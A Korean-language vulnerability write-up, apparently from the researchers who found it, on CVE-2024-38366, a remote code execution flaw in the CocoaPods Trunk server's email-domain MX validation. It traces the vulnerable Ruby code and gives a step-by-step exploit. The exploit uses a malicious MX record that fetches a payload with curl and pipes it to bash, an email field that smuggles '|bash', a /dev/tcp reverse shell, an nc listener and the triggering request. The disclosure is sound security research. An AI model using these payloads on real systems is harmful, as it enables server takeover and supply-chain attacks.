CocoaPods RCE 취약점 CVE-2024-38366
이 저장소는 CocoaPods 패키지 매니저를 연구하고 분석하는 과정에서 발견된 RCE 취약점에 대한 연구 과정과 고찰을 좀 더 깊이 다루고 있습니다.
연구 결과를 발표한 블로그 게시물은 여기에서 읽을 수 있습니다: https://www.evasec.io/blog/eva-discovered-supply-chain-vulnerabities-in-cocoapods
CocoaPods Trunk 서버는 Apple 생태계, 특히 iOS 및 macOS 개발에 사용되는 필수 라이브러리와 프레임워크인 CocoaPods를 위한 중앙 집중식 저장소이자 배포 플랫폼 역할을 합니다. 주요 목적은 이러한 오픈소스 리소스의 원활한 공유와 관리를 촉진하는 것입니다.
CocoaPods Trunk 서버의 개발자 등록 프로세스는 플랫폼 보안을 보장하기 위해 다음 단계로 구성됩니다:
최신 trunk.cocoapods.org 릴리스(master 브랜치)는 연구 당시 프로덕션 환경에서 테스트되고 검증되었습니다. 이 취약점은 이후 패치되었으며 더 이상 악용할 수 없습니다.
이 취약점의 근본 원인은 (개발자 등록 프로세스 중) 이메일 주소 도메인 검증 단계의 불충분한 검증과 안전하지 않은 명령 실행입니다. 구체적으로, 공격자는 도메인의 MX(Mail Exchanger) 레코드 검증을 우회하도록 입력을 조작하여 Trunk 서버에서 임의의 OS 명령을 주입하고 실행할 수 있습니다.
이는 플랫폼 보안에 심각한 위협이 됩니다. 인증되지 않은 개인이 서버의 무결성과 저장된 데이터의 기밀성을 손상시키고 운영을 방해할 수 있기 때문입니다.
APP/CONTROLLERS/APP_CONTROLLER.RB
App Controller 파일은 SessionsController를 포함하여 Trunk 서버 API 엔드포인트를 정의하며, /api/v1/sessions 경로를 통해 제공됩니다.

APP/CONTROLLERS/API/SESSIONS_CONTROLLER.RB
새 세션을 생성하기 위해 Session Controller 파일은 HTTP POST API 엔드포인트인 /api/v1/sessions을 제공합니다.
엔드포인트는 "email", "name", "description" 매개변수를 포함한 사용자 제공 등록 세부 정보를 처리합니다. 그런 다음 Owner.find_or_initialize_by_email_and_name 메서드를 호출합니다.
함수 호출에는 "email" 및 "name" 매개변수 값이 포함됩니다.

APP/MODELS/OWNER.RB
Owner Model 파일은 find_or_initialize_by_email_and_name 메서드를 정의하며, 제공된 이메일이 존재하는지 확인합니다. 존재하지 않으면 위에서 언급한 매개변수를 사용하여 새 Owner 객체를 생성합니다.

객체가 생성되는 즉시, 데이터베이스에 저장되기 전에 Sequel 프레임워크는 validate 메서드를 실행합니다. 이 메서드에는 RFC-822 패키지에 포함된 여러 검증이 포함됩니다.
우리는 RFC-822 패키지를 사용하는 validates_mx_record 메서드의 실행에 초점을 맞췄습니다.

RFC-822/LIB/RFC822.RB
라이브러리는 제공된 도메인이 유효한지 확인하기 위해 mx_records 메서드를 구현합니다. 또한 host 명령을 사용하여 MX 레코드 응답성 검증을 구현합니다.
이 메서드는 먼저 전체 이메일 주소를 정의된 이메일 Regex 패턴과 비교하여 제공된 이메일이 패턴과 일치하는지 확인합니다. 패턴이 일치하지 않으면 메서드는 빈 값을 반환하고 host 명령을 통한 활성 검사로 진행하지 않습니다.
그런 다음 mx_records 메서드는 이메일 값을 조작하는 raw_mx_records 메서드를 호출합니다. 마지막 '@' 이후의 도메인 부분만 가져오고, 추출된 도메인을 매개변수 값으로 사용하여 host_mx 메서드를 호출합니다.

host_mx 메서드는 사용자 제공 이메일의 도메인과 연결하여 임의의 OS 명령을 실행합니다.
최종 실행 명령은 다음과 같습니다:
/usr/bin/env host -t MX <DOMAIN>
취약점 악용을 시작하기 위해 /api/v1/sessions API 엔드포인트에 HTTP POST 요청을 보냈습니다. 요청 본문에 조작된 입력을 제공했습니다.
주요 목표는 MX 레코드 검증 프로세스를 트리거하여 궁극적으로 악성 사용자 입력의 평가와 실행으로 이어지게 하고, trunk 서버에서 OS 명령 실행을 달성하는 것이었습니다.
목표를 달성하고 완전한 인터랙티브 리버스 셸을 구축하려면 몇 가지 문제를 극복해야 했습니다:
reef<span>@evasec.io|curl{IFS}evasec.io와 같은 단순한 페이로드는 서버가 이를 소문자로 처리하므로 효과적이지 않습니다.reef<span>@evasec.io|{curl,evasec.io}와 같은 페이로드가 라이브러리가 제거하는 다음 문자가 포함되어 있어 작동하지 않으므로 심각한 장애물이 되었습니다:
" " (space)"().,<>@[]임무를 완료하려면 우리가 직면한 벽을 극복해야 했습니다.
/usr/bin/env host -t MX <DOMAIN> 명령이 우리가 제어할 수 있는 출력을 제공하여 이러한 문제를 우회할 수 있음을 발견했습니다.
출력은 bash 명령으로 파이프하여 코드 실행 기회를 만들 수 있습니다.
예를 들어:
/usr/bin/env host -t MX <DOMAIN> | bash
AWS의 Route53을 통해 관리되는 우리 도메인의 MX 레코드를 조작했습니다. MX 레코드에는 다음 유효한 문자열이 포함되어 있습니다:
10 a||{curl, -s,http://serve.evasecresearch.com/payload.txt}|bash||.com
대상: 제작된 페이로드는 host 명령을 통한 도메인 검증 중에 실행되도록 설정되었습니다.
원격 코드 실행을 시작하기 위해 POST /api/v1/sessions API 엔드포인트와 다음 페이로드를 호출했습니다:
anything<span>@owned.domain|bash
여기서 "owned.domain" 도메인은 위에서 설명한 악의적으로 제작된 MX 레코드를 나타냅니다.
페이로드 서버 준비: Trunk 서버에서 실행될 코드가 포함된 payload.txt 파일을 제공할 웹 서버를 설정합니다.
sh -i >& /dev/tcp/SERVER/1337 0>&1악성 MX 레코드 생성: 1단계에서 준비한 페이로드를 가져와 실행하도록 설계된 페이로드가 포함된 새 MX 레코드를 생성합니다.
10 a||{curl, -s,http://WEB_SERVER/payload.txt}|bash||.com리버스 셸 리스너 설정: netcat(nc)과 같은 리버스 셸 리스너를 공개적으로 액세스 가능한 포트에서 실행합니다.
nc -lvp 1337리버스 셸 실행: curl 명령을 사용하여 리버스 셸 실행을 트리거하는 HTTP 요청을 보냅니다.
curl -X $'POST' -H $'Host: trunk.cocoapods.org' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: CocoaPods/1.12.1' --data-binary $'{\"email\":\"name@MX_RECORD_DOMAIN|bash\",\"name\":\"Your Name\",\"description\":null}' $'https://trunk.cocoapods.org/api/v1/sessions'


연구에서 우리는 CocoaPods Trunk 서버 내에서 임의의 운영 체제 명령 실행(완전한 인터랙티브 원격 코드 실행)을 가능하게 하는 심각한 보안 취약점을 식별했습니다.
인증되지 않은 위협 행위자가 서버를 손상시키면 널리 사용되는 라이브러리에 악성 코드를 도입할 수 있습니다. 이는 손상된 CocoaPods에 의존하는 수많은 iOS 및 macOS 애플리케이션에 심각한 보안 취약점을 초래할 수 있습니다.
또한 위협 행위자는 pod 사양을 조작하고, 합법적인 라이브러리의 배포를 방해하거나, CocoaPods 생태계 내에서 광범위한 혼란을 일으킬 수 있습니다.